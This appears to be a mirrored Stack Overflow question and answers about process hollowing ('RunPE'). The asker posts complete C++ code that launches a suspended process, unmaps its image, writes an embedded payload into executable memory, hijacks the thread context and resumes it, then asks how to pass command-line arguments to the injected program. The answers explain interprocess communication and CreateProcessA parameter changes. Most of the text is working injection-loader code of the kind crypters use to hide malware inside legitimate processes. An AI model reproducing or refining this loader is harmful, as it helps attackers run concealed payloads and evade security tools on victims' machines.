Question

I am trying to understand how this whole process hollowing aka dynamic forking -concept actually works.

One thing I am curious about, is how to pass command line arguments/parameters to the forked process?

Here is the code(took from web) I'm learning, which works perfectly, expect I can't figure out a solution how to add CMD Arguments for the file that is being executed in memory.

Hollow.h

typedef LONG (WINAPI * NtUnmapViewOfSection)(HANDLE ProcessHandle, PVOID BaseAddress);

class runPE{
public:
    void run(LPSTR szFilePath, PVOID pFile) 
    {
        PIMAGE_DOS_HEADER IDH;     
        PIMAGE_NT_HEADERS INH;     
        PIMAGE_SECTION_HEADER ISH; 
        PROCESS_INFORMATION PI;    
        STARTUPINFOA SI;           
        PCONTEXT CTX;              
        PDWORD dwImageBase;        
        NtUnmapViewOfSection xNtUnmapViewOfSection;
        LPVOID pImageBase;         
        int Count;                 
        IDH = PIMAGE_DOS_HEADER(pFile);
        if (IDH->e_magic == IMAGE_DOS_SIGNATURE)
        {
            INH = PIMAGE_NT_HEADERS(DWORD(pFile) + IDH->e_lfanew);
            if (INH->Signature == IMAGE_NT_SIGNATURE)
            {
                RtlZeroMemory(&SI, sizeof(SI));
                RtlZeroMemory(&PI, sizeof(PI));
                if (CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI))
                {
                    CTX = PCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
                    CTX->ContextFlags = CONTEXT_FULL;
                    if (GetThreadContext(PI.hThread, LPCONTEXT(CTX)))
                    {
                        ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&dwImageBase), 4, NULL);
                        if (DWORD(dwImageBase) == INH->OptionalHeader.ImageBase)
                        {
                            xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                            xNtUnmapViewOfSection(PI.hProcess, PVOID(dwImageBase));
                        }
                        pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
                        if (pImageBase)
                        {
                            WriteProcessMemory(PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, NULL);
                            for (Count = 0; Count < INH->FileHeader.NumberOfSections; Count++)
                            {
                                ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
                                WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID(DWORD(pFile) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
                            }
                            WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), LPVOID(&INH->OptionalHeader.ImageBase), 4, NULL);
                            CTX->Eax = DWORD(pImageBase) + INH->OptionalHeader.AddressOfEntryPoint;
                            SetThreadContext(PI.hThread, LPCONTEXT(CTX));
                            ResumeThread(PI.hThread);
                        }

                    }
                }
            }
        }
        VirtualFree(pFile, 0, MEM_RELEASE);
    }
};

Main

int main()
{
    runPE rp;
    TCHAR szFilePath[1024];
    GetModuleFileNameA(0, LPSTR(szFilePath), 1024);
    rp.run(LPSTR(szFilePath), shellcode);
    //Sleep(INFINITE);
    return 0;
}

But how to pass arguments to the code that is will be forked to itself/memory? I have been messing with this for over ~7 hours without a solution, somebody please point me to the right way or show me how it is done.

Was it helpful?

Solution

You can always use some kind of interpocess communication:

  1. create fake window and use window messages
  2. pipes
  3. mailslots
  4. sockets
  5. files
  6. shared memory

OTHER TIPS

Passing command line parameters to forked process is very simple, we just need to edit CreateProcess:

SOLUTION 1:

from

CreateProcessA(szFilePath, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)

to

CreateProcessA(NULL, szFilePath, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)
  1. Move szFilePath from the 1st to the 2nd parameter (lpCommandLine) of CreateProcess().
  2. Set the 1st parameter (lpApplicationName) to NULL.

Now szFilePath can contain file path plus parameters, ex:

C:\MyProgram.exe -param1 -param2

CreateProcess will now execute the full command line, which includes the file path and the subsequent parameters.

SOLUTION 2:

Alternatively, you can just pass filename and parameters to CreateProcess in two separate strings:

CreateProcessA(szFilePath, szParameters, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &SI, &PI)
Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top